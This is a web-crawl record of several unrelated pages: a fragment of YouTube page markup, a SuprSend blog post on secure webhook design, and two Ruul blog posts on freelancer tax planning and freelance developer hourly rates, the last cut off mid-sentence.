31초"}}}}],"position":"THUMBNAIL_OVERLAY_BADGE_POSITION_BOTTOM_END"}},{"thumbnailHoverOverlayToggleActionsViewModel":{"buttons":[{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"WATCH_LATER","onTap":{"innertubeCommand":{"clickTrackingParams":"CPsBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"addedVideoId":"J6zo1t1GnoA","action":"ACTION_ADD_VIDEO"}]}}},"accessibilityText":"나중에 볼 동영상","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CPsBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","onTap":{"innertubeCommand":{"clickTrackingParams":"CPoBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"action":"ACTION_REMOVE_VIDEO_BY_VIDEO_ID","removedVideoId":"J6zo1t1GnoA"}]}}},"accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CPoBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CPMBENTEDBgBIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}},{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"ADD_TO_QUEUE_TAIL","onTap":{"innertubeCommand":{"clickTrackingParams":"CPkBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CPkBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","addToPlaylistCommand":{"openMiniplayer":false,"openListPanel":true,"videoId":"J6zo1t1GnoA","listType":"PLAYLIST_EDIT_LIST_TYPE_QUEUE","onCreateListCommand":{"clickTrackingParams":"CPkBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/playlist/create"}},"createPlaylistServiceEndpoint":{"videoIds":["J6zo1t1GnoA"],"params":"CAQ%3D"}},"videoIds":["J6zo1t1GnoA"],"videoCommand":{"clickTrackingParams":"CPkBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmDygEEKOe2Tg==","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=J6zo1t1GnoA\u0026pp=ugUHEgVlbi1VUw%3D%3D","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"J6zo1t1GnoA","playerParams":"ugUHEgVlbi1VUw%3D%3D","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr7---sn-ab02a0nfpgxapox-bh266.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=27ace8d6dd469e80\u0026ip=1.208.108.242\u0026initcwndbps=3431250\u0026mt=1768293662\u0026oweuc="}}}}}}}]}}},"accessibilityText":"현재 재생목록에 추가","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CPkBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CPgBEPBbIhMI4L7I4JCIkgMVu0A4BR1eQjmD","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CPMBENTEDBgBIhMI4L7I4JCIkgMVu0A4BR1eQjmD"}}]}}]}},"metadata":{"lockupMetadataViewModel":{"title":{"content":"Stockfish 18 (4060 Elo)가 Magnus Carlsen을 상대로 완벽한 체스 게임을 펼쳤습니다 \| Stockfish 대 Magnus"},"image":{"decoratedAvatarViewModel":{	2026-01-13T08:47:55
https://www.suprsend.com/post/implementing-webhooks-securely-a-technical-guide-for-developers	Implementing Webhooks Securely: A Technical Guide for Developers Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Engineering Implementing Webhooks Securely: A Technical Guide for Developers Anjali Arya • June 2, 2024 TABLE OF CONTENTS Webhooks are a powerful way to enable real-time communication between applications, allowing one application to send data to another as soon as an event occurs. When building a webhook system, there are several key technical considerations and best practices to keep in mind: Check SuprSend documentation about Outbound Webhook for communication. 1. Handling Retries and Failures Implement automatic retries with exponential backoff to handle temporary failures Start with a short delay (e.g., 5 seconds) and double the delay with each retry Limit the number of retries to prevent infinite loops Provide a way for consumers to configure the retry behavior, such as through a dashboard or API Provide a way for consumers to manage retries and failures on their end, such as a dashboard or API Allow consumers to view the status of each webhook delivery attempt Provide a way for consumers to manually retry failed deliveries Log all webhook delivery attempts for debugging and auditing purposes Record the request and response data for each delivery attempt Store the logs in a durable storage system, such as a database or object storage 2. Securing Webhooks Use HTTPS for all webhook endpoints to ensure secure communication Obtain a valid SSL/TLS certificate from a trusted Certificate Authority (CA) Configure your web server to enforce HTTPS for all incoming requests Implement webhook signing to verify the authenticity of incoming webhooks Generate a secret key for each consumer and use it to sign outgoing webhooks Provide consumers with the public key to verify incoming webhooks Validate the signature of each incoming webhook to ensure it was sent by your system Provide a way for consumers to manage webhook signing keys, such as through a dashboard or API Allow consumers to view and rotate their signing keys Provide a way for consumers to configure the signing algorithm (e.g., HMAC-SHA256) 3. Scalability and Performance Use a message queue or event streaming platform to handle high volumes of webhooks Decouple webhook delivery from the main application logic Use a durable message queue to ensure that webhooks are not lost in case of failures Scale the message queue horizontally to handle increased traffic Ensure your webhook delivery system can scale horizontally to handle increased traffic Use a load balancer to distribute incoming webhooks across multiple worker nodes Ensure that worker nodes are stateless and can be easily scaled up or down Monitor the performance of your webhook delivery system and add more worker nodes as needed Monitor webhook delivery latency and error rates to identify and address performance bottlenecks Track the end-to-end latency of webhook deliveries Monitor the error rates for each consumer and identify any outliers Use this data to optimize your webhook delivery system and identify areas for improvement 4. Developer Experience Provide clear documentation on how to integrate with your webhook system Include step-by-step guides for common integration scenarios Provide examples of how to implement webhook signing and verification Offer a FAQ section to address common questions and issues Offer sample code and libraries in popular programming languages to simplify integration Provide sample code for common programming languages (e.g., Python, Node.js, Java) Offer libraries that handle common tasks, such as signing and verifying webhooks Ensure that the sample code and libraries are well-documented and actively maintained Allow consumers to test webhooks in a sandbox environment before going live Provide a separate sandbox environment for testing purposes Allow consumers to configure their webhook endpoints and signing keys in the sandbox Provide a way for consumers to view and verify the webhooks sent in the sandbox 5. Monitoring and Observability Provide a dashboard or API for consumers to monitor the status of their webhook subscriptions Allow consumers to view the delivery status of each webhook Provide graphs and charts to visualize webhook delivery metrics Offer alerts and notifications for failed deliveries or other issues Log all webhook delivery attempts and failures for debugging and auditing purposes Record the request and response data for each delivery attempt Store the logs in a durable storage system, such as a database or object storage Provide a way for consumers to view and search the logs Offer webhooks for key events in your system, such as subscription changes or usage limits Allow consumers to subscribe to webhooks for events that are relevant to their use case Ensure that the webhook payloads contain all the necessary information for consumers to take action Provide clear documentation on the available webhook events and their payloads By following these best practices and considering the technical aspects of implementing webhooks, you can build a robust and scalable webhook system that provides a great developer experience for your consumers. You can find more about Outbound webhooks from SuprSend webhook provider for communication by going through this documentation: Outbound Webhook (suprsend.com) Here are the Top 6 Webhook Provider for Developers. Share this blog on: Written by: Anjali Arya Product & Analytics, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://ruul.io/blog/tax-tips-for-freelancers-how-to-maximize-your-savings	Maximize Your Savings with Strategic Tax Planning for Freelancers Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid Tax Tips for Freelancers: How to Maximize Your Savings Read on to discover essential tax tips for freelancers and learn how to maximize your savings through strategic tax planning. Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Among the many advantages of freelancing are freedom to pick your projects, schedule flexibility, and the option to work practically anywhere. These advantages, however, also include responsibilities like completing your own taxes, which could be tiring. Unlike normal employees, freelancers have taxes taken from their income not automatically, so navigating the tax scene may be difficult. With adequate information and planning, however, you can maximize your tax savings and retain more of your hard-earned money in hand. You follow these steps to see how to get better at saving money and learn more about how freelancers maximize savings . Track Expenses How to save money as a freelancer ? The first step is seeing them in one place. One of the most important things freelancers can do is keep close records of their income and expenses. Not just about keeping tidy, this is about ensuring you can correctly claim all the deductions you are entitled to and report your revenue. Note it right away when a consumer pays you. Likewise, track every expense related to your business, no matter how little it seems. For example, a deductible business expense might be a brand-new computer you buy for use at your company. The same holds true for office supplies, software subscriptions, and even a small portion of your rent or mortgage should you be a home worker. The secret is documentation of everything. Organize receipts, bills, and bank statements whether they come from a digital folder or a physical file cabinet. Apart from streamlining tax season, this would help you if you are ever audited. Understanding Deductions As a freelancer, you are qualified for several tax deductions that might drastically cut your taxable income. More expenses you can reasonably write off will help you pay less taxes. Typical deductions include office supplies, tools, travel expenses, and professional services like legal or accounting help. Past these obvious expenses, however, you may not be aware of several other deductions. If you work from home, say, you may write off a home office. This allows you to deduct utilities, home maintenance costs, rent or mortgage, depending on the size of your home office in comparison to your whole house. To qualify, your home office must be regularly used solely for your freelance work. One may also deduct health insurance premiums. Like many freelancers, if you pay for your own health insurance you may write off the premiums paid for your dependents, spouse, and self. Being a "above-the-line" deduction, this one is rather beneficial because it reduces your taxable income before any claims might be made. Sort Business and Personal Taxes This is one of the best tips for new freelancers . One of the biggest mistakes independent contractors make is combining personal and business funds. When it comes time to file your taxes, this might be a mess and cause missed deductions or even problems with tax officials. As far as you can try to avoid this, separate your personal and business money. First open a separate bank account for your freelance business. Keep all of your business income and expenses on this account. This ensures that you won't inadvertently overlook any deductible expenses and simplifies firm financial monitoring. In a same line, consider using another credit card for business purchases. This allows you to simplify your record-keeping and assures exactly reported corporate expenses. Separate accounts also allow future planning, ease cash flow management, save money for taxes, and assist you to better grasp the financial status of your firm. Put Money Aside Freelancers have no taxes withheld from their income all year long unlike regular employees. You are therefore responsible for paying your own taxes, usually in the form of expected quarterly payments. Especially if you are new to freelancing, it might be easy to understate the total you will owe at year-end. Set aside part of every pay for taxes to help avoid a hefty tax payment and maybe penalties. One good rule is to preserve 25 to 30 percent of your salary for taxes. This should include state income taxes, federal income taxes, and self-employment taxes—if relevant. Consider creating another account only for taxes. Every pay you get should be entered into this account with the correct percentage. This means the money is invisible and out of sight, out of mind and will not motivate you to spend. When it comes time for your quarterly payments, you won't be scurrying to locate the money; you will have it ready. Retaining Deadlines: Remain on Top Deadlines are the best benefits of remote work . Ignoring a tax deadline might result in interest charges and penalties that could be really expensive. Being a freelancer means you should be aware of several important deadlines all year long, including the deadline for turning in your annual tax return and the due dates for expected quarterly tax payments. Usually scheduled quarterly payments fall on April 15, June 15, September 15, and January 15 of the following year. Put these dates on your calendar and set reminders to make sure you remember them. You could otherwise forget them. Usually April 15 is the day you send in your annual tax return, however depending on your specific circumstances this might change significantly. To avoid last-minute worry, start well in advance of the deadline compiling your tax return. Sort all of your records: income statements, expenditure logs, and any evidence on retirement contributions or health insurance. If you work with an accountant, give them adequate time to review your documents and probe any issues. Tax Advisers Particularly if freelancers have several income sources, significant deductions, or commerce across foreign boundaries, their taxes might be complicated. Even if you could do your taxes on your own, hiring a tax professional will save you time, reduce tension, and ensure you are using all the available credits and deductions. Apart from guiding your tax planning to maximize your savings and allocate the right amount of money for taxes, a qualified tax consultant will write your tax return. Regarding other financial matters, health insurance, and retirement planning, they might also provide perceptive advice. Look for a tax professional knowledgeable of the specific tax issues you face and who has dealt with independent contractors. Although hiring an accountant is an additional investment, the savings in taxes and avoidance of costly mistakes might make it pay for itself. Simplify Your Work Using Ruul Ruul may help to simplify things even if managing your money might be hard when freelancing. Ruul offers a whole platform that simplifies payments, invoicing, and financial management so you may focus less on administrative tasks and more on your work. Check the best invoicing practices and start doing online invoice with Ruul. The platform allows you to monitor income and expenses all in one place, create professional invoices, process payments in various currencies. Although Ruul does not provide tax services, Ruul assures you that your financial records are ordered and readily accessible, therefore lowering the stress of tax season. ABOUT THE AUTHOR Mert Bulut Mert Bulut is an innate entrepreneur, who after completing his education in Management Engineering (BSc) and Programming (MSc), co-founded Ruul at the age of 27. His achievements in entrepreneurship were recognized by Fortune magazine, which named him as one of their 40 under 40 in 2022. More 12 Top Freelance Skills to Learn Play to increase both your effectiveness and your rates with these 12 top freelance skills! Read more Kolektif House Marketing Manager İrem is sharing her expectations on the future of work Join Kolektif House Marketing Manager İrem as she shares her insights on the future of work. Explore expectations, trends, and opportunities shaping the workplace of tomorrow! Read more Benefits of the Gig Economy Explore the growing gig economy, its benefits for workers, employers, and the economy, as well as its drawbacks. Learn why more people are embracing flexible freelance work and how this modern employment model is reshaping the job market. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://ruul.io/blog/freelance-developer-rates#$%7Bid%7D	Freelance Developer Rates 2025 Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid Global Freelance Developer Rates Everyone talks about freelance developer rates without being specific. As a developer, if you need a guide to find your prices, here it is. Umut Güncan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points If you don’t have time, here’s the gist: Hourly rates range wildly from $10 to $300. Not helpful info. Rather, annoying, I know. But we will talk about it. Western countries often average $70+ per hour. OK, we're getting a bit more specific. BUT, low-rate countries help you grow a portfolio fast. AND, going global can double your income in one move. Niche skills instantly push you into higher tiers. AI, blockchain, and cybersecurity pay 40%+ above average. Ruul is an MoR that takes a lot of responsibilities from you regarding the invoicing and taxation (with only 5% commission). Check it out. Full details are below. Hello, dear freelance developer! Are you a beginner or an experienced one who seeks ways to boost income? No matter what, let’s talk about the freelance developer rates. Because everyone talks about it, saying nothing solid about it. I will try to be specific and practical here. If you're ready, let's take a deep dive into freelance developer rates in 2025. Let's get started! Freelance developer rates by experience level Worldwide, freelance developers' rates can range from $10 to $300 per hour . This difference is due to factors such as experience, country, role, and complexity of the project. But I will not put this useless info on the table and leave. Let’s see how you can use this wide range. As a beginner, these numbers can show you where you need to position yourself. For clients, it's a quick way to gauge what kind of specialist you can hire with your budget. These rates are not set in stone. Niche skills, urgent deadlines, or a strong track record can push you to a higher level (or beyond). You’ll learn more realistic rates in a moment. We'll analyze developer rates on freelance platforms and in different geographies. The quick way to find out your hourly rate Want to quickly find out your average hourly earnings? Let Ruul’s freelance hourly rate calculator help you. Currency (euro, USD, lira, etc.) Living expenses (rent, travel, loans) Others (taxes, working hours, holidays) And see the result instantly. An easy-to-use tool. Any freelancer confused about their rates can use it for free. ( Click and learn. ) Freelance developer fees according to project size If you're a freelancer or a client thinking about working on a project basis, it's hard to give a definite cost. That's because the price can go anywhere from three figures to five figures. So, take these numbers as approximations. The final cost will always depend on the exact features, deadlines, and what you're expecting. Small projects: Simple websites, small mobile apps, or mini-tools that solve a very specific problem can cost around $500 to $5,000. Medium projects: This is where things get serious. E-commerce sites, full-featured web and mobile apps might require a budget of around $5,000 to $50,000. Large projects: Custom solutions like ERP systems, AI platforms, or applications for sectors like finance and healthcare typically cost $50,000 and up. If you’re a developer, use these ranges to know what to charge without underselling yourself. If you’re hiring, they’ll help you set a realistic budget. Developer rates on freelance platforms Thinking about taking the plunge into freelancing? Or maybe you're already there and wondering if you're charging the right rate. Either way, here's what the numbers actually look like when you work on big platforms like Upwork, and here's the answer. Let's start with Upwork! 1. Freelance developer rates on Upwork On Upwork, one of the most popular freelancing platforms , the hourly rate for freelance software developer rates ranges from $10 to $100. This varies depending on the industry you serve, your skills, experience, and client reviews. Source Again on Upwork, the hourly rate for freelance web developer rates from $15 to $50. This clearly shows how much wages can vary depending on the developer role. Source Rates for more specific developer jobs on Upwork: Web developers: $15-$50/hour Mobile app developers: $18-$39/hour Android developers: $15-$35/hour IOS developers: $16-$35/hour Game developers: $15-$35/hour Artificial intelligence engineers: $35-$60/hour Blockchain developers: $30-$59/hour Specialized developer skills, such as AI and blockchain, generally merit higher wages. Fees for general roles fall in the middle. If you’re a dev, use this as a benchmark to set your hourly rates (and maybe push them higher if you’ve got rare skills). If you’re hiring, expect to pay more for niche expertise. 2. Freelance developer rates on Freelancer.com Freelancer.com is a popular job board for developers with a high volume of work. And that competition drives rates way down compared to places like Upwork. I checked it out for you, and here’s what I found. Many developers here are from countries with a lower cost of living, like India, and they’re willing to work for as little as $8/hour. Even top-rated developers often charge $15-$30/hour, which is well below the global average. If you’re a developer, that can feel discouraging. But there’s a workaround. Instead of competing on hourly rates, you can try selling project-based packages. I’ve seen offers like: Website design in 7 days \| $540 1-day app design \| $100 Website in 1 day \| $430 If you work fast and deliver high quality, packages can help you earn more without getting trapped in the low-hourly-rate game. 3. Freelance developer rates on Fiverr If this is your first time using Fiverr, here's the bottom line: there is no hourly work here. There are only service packages. They create a package, set the price and the customer either buys it or moves on to something else. The developer categories are incredibly broad. More than 50 different roles are listed in this area alone. And the price range? There is a service for everyone. I've seen packages as cheap as $5 and as expensive as $1,500. In the Android app developer category, for example, there was a $3,966 package right next to a $91 package. And both are making sales. What matters here is how you position your offer and how you demonstrate the value you provide. Now let's look at a platform in the premium segment. 4. Freelance developer rates on Toptal Toptal is like a VIP job board for freelance developers . They only accept the top 3% of developers. So if you get in here, you are already playing in the first league. The customers here know that they are paying more and they have no problem with that. The rates are not clear on Toptal. But I did some research and found that they usually start at $60 per hour and can go up to $150 per hour, which is already higher than most platforms like Upwork or Fiverr . ‍ Enter this information: I got these rates from freelancing platforms, where freelancers usually charge lower rates. If you have your own private clients and are in high-wage countries, you can probably charge higher rates. The effect of geography on developer rates Where you live (or where your client lives) can make a huge difference in what you earn or pay. But you can use geography to your advantage. Whether you’re the one writing the code or the one paying for it. Some countries pay more. The Index.dev's June 2025 report mentions a clear difference between Western and Eastern markets. For example, in North America (the US and Canada), AI/ML, cloud, or cybersecurity experts earn $80-140 per hour. That's a high rate by anyone's standards. According to the survey, Europe also ranks high. In the UK, developers typically earn $75-95 per hour, in Germany it's $70-85, and in Switzerland it's $90-120 per hour. If you are a freelancer, you don't need to move to these countries to benefit from high rates. You just need to find clients there. That's the glory of freelancing. Take a look at the data from the Arc.dev 2025 survey (with 5302 people). Source 1. Australia, Switzerland, and the US Lead the Pack I would like to evaluate this survey a little bit. Australia ranked first with an average of $74/hour . Switzerland is right behind with $73/hour , and the US is in third place with $70/hour . Interestingly, this ranking is not just due to sample size. In fact, only 91 people from Australia participated in the survey, compared to 1,883 developers from the US. Still, Australia came out on top. Not what you expected, right? Other countries in the ranking, such as France, Sweden, Lebanon, Ireland, and the United Kingdom, pay $60-67 per hour. These are still solid wages, especially when compared to the global average. 2. Lowest developer rates: Pakistan, Ukraine, and India Let's look at the countries at the bottom of the ranking, which have the lowest wages. Again, we will continue with reference to the Arc.dev survey. Source Which countries have the lowest freelance developer rates: Pakistan: 43 $/hour Ukraine: $44/hour India: $46/hour You probably won't be happy working in these markets as an experienced developer. But there is a clever way to use this to your advantage as a beginner developer. When you work for less, you get more work. This means you can grow your portfolio quickly as a beginner. Then, as your experience grows, you can move into higher-paying markets. 3. Why do developer rates change so much by country Could the countries with the highest and lowest prices lead us down the path of strategy? Let me tell you. There is no mystery here. First, the cost of living is an important factor. All freelance salaries are affected by the cost of living, not just developer fees. Rates are naturally higher where everyday life is expensive, such as in Switzerland or Norway. In countries where costs are lower, such as India or Ukraine, rates fall. So obviously, low wages are not caused by low skill levels. Of course, there is also the game of supply and demand. In developed economies, there is often a shortage of qualified developers, which drives up prices. In other countries, the talent pool exceeds demand, which keeps prices low. Specialization is another important factor. If you work in popular areas like AI, cybersecurity or blockchain, you have the potential to earn 40-60% more than the average developer in your country. 4. Convert geographic variables to your advantage How do you turn geographical price changes to your advantage as a freelancer or client? Let's take a closer look; maybe this will enlighten you. Clients who want to hire freelance developers can hire developers from the Far East and Eastern Europe to reduce their costs. For example, a US company can reduce total fees by up to 30-35% by hiring developers from Eastern Europe. This is where geographically varying developer prices become an advantage (for customers). Conversely, freelancers can also position themselves by targeting the international market. For example, a developer in Turkey may be able to charge a much higher hourly rate by targeting projects in the US or EU market. Having niche skills ( e.g., artificial intelligence, cybersecurity, cloud architecture ) is also a way to increase fees. If you want your global revenue to grow, don’t waste time on invoicing or taxes. Ruul handles the whole process for you, sending invoices in 190 countries, getting paid in 140+ currencies, staying tax-compliant, and speeding up payments. Which developer roles pay the highest? Some roles can lead to higher rates . Put simply, a software developer usually earns more than a web developer. The reason is that software development requires more education, as well as technical skills and expertise. Now, let's take a look at some of the highest-paying developer roles, including some new ones. 1. Artificial Intelligence / Machine Learning (AI/ML) Engineering This newer, niche role requires expertise in tools like Python , TensorFlow , and PyTorch , along with a strong background in statistics and data science. On Upwork, freelance AI engineers can earn between $35–$60 per hour , while other freelance engineers might earn $50–$200 per hour . 2. Cybersecurity Engineering This isn't a new role, but the demand for cybersecurity is on the rise. On Upwork, cybersecurity engineers typically charge between $40–$90 per hour. 3. Blockchain Development Blockchain technology is another new and promising field, which means blockchain developers can expect to earn higher rates now and in the future. Freelancers on Upwork typically earn between $30–$59 per hour. But if you have a strong grasp of Solidity, Rust, smart contracts, and crypto security, you can likely earn even more. 4. Cloud Computing and DevOps The average cloud computing engineer earns about $62 per hour. However, developers who are proficient in cloud platforms like AWS, Google Cloud, and Azure, as well as DevOps tools, can command even higher rates. 5. Data Science / Data Engineering Professionals in data analysis, big data, and machine learning are also well-paid. According to sources, data scientists earn around $55 per hour. The most sought-after tech skills in this field include knowledge of Python, R, SQL, statistics, and machine learning libraries. New trends in freelance developer rates The rates of freelance developers have changed drastically over the years. One bias here is that most people think that developer rates are going down. On the contrary, freelance developers' rates are actually increasing instead of decreasing. Let me tell you about a few data points. According to Index.dev , the global average for freelance developers is currently $101 per hour. This is about 80% higher than the wages discussed in 2020. This increase is mainly due to general inflation and an increase in demand for software. But the impact of AI is also being felt. Brookings Institution found that since the rise of AI, freelancers have seen a 2% drop in the number of contracts and a 5% decrease in their total income. Lower than predicted. The reason for this decline could be the following: Because some customers use AI for simple and routine coding tasks. This leads to some trimming of developers' tasks. Accordingly, the fees may decrease slightly. On the other hand, demand for AI/ML, data, and cloud expertise is growing rapidly. The Index.dev study also noted that AI/ML, cybersecurity, and blockchain developers earn 40-60% more than other general software developers. Finally, I cannot fail to mention the positive finding. According to FullStack's 2025 report , while AI-powered coding tools increase developers' productivity, they do not directly reduce hourly rates. Instead, they only help reduce overall project costs. Get paid like a global pro with Ruul! You have learned how geography can affect (or increase) your revenue. So why limit yourself to the local market? Even if you live in a country with low developer wages, like India or Ukraine, you can work with clients in Australia, Switzerland or the US and earn $74 an hour instead of $43. This means almost doubling the price without writing a single line of extra code. The hard part: Different countries mean different VAT rules, currencies, and legal hoops. And honestly, that admin work is enough to make you want to crawl under your desk and never come out. That’s exactly why Ruul exists. To make going global ridiculously easy. With Ruul, you can: Send invoices to clients in 190 countries Get paid in 140+ currencies (yes, even crypto) Stay VAT compliant without memorizing tax laws Receive payments in as little as one day Work with clients who don’t even need a Ruul account All that for just 5% commission per invoice. Over 120,000 freelancers are already using it. Sign up for Ruul for free and join them. 🙌🏻 FAQs 1. What is the hourly rate for a freelance programmer? The average hourly rate for a freelance programmer ranges from $10 to $100 . Experienced, senior programmers can earn $150 or more . 2. How much does it cost to hire a freelance software developer? Hiring a freelance software developer can cost anywhere from $10 to $100 per hour . However, if you're hiring for a project, a small-scale software project can range from $500 to $5,000 . 3. What is the hourly rate of a developer? A developer's hourly rate depends on their specific role. On Upwork, software developers earn between $10 and $100 per hour, while web developers typically earn between $15 and $50 . ABOUT THE AUTHOR Umut Güncan With a degree in electronic engineering, Umut has over 15 years of experience in the industry. For the past 8 years, he has been leading tech and product teams at companies including Getir, specializing in crafting standout products that give these companies an edge. More How to Start a Business From Scratch? (Step-By-Step) Starting a business can be overwhelming, but with the right preparation, you can 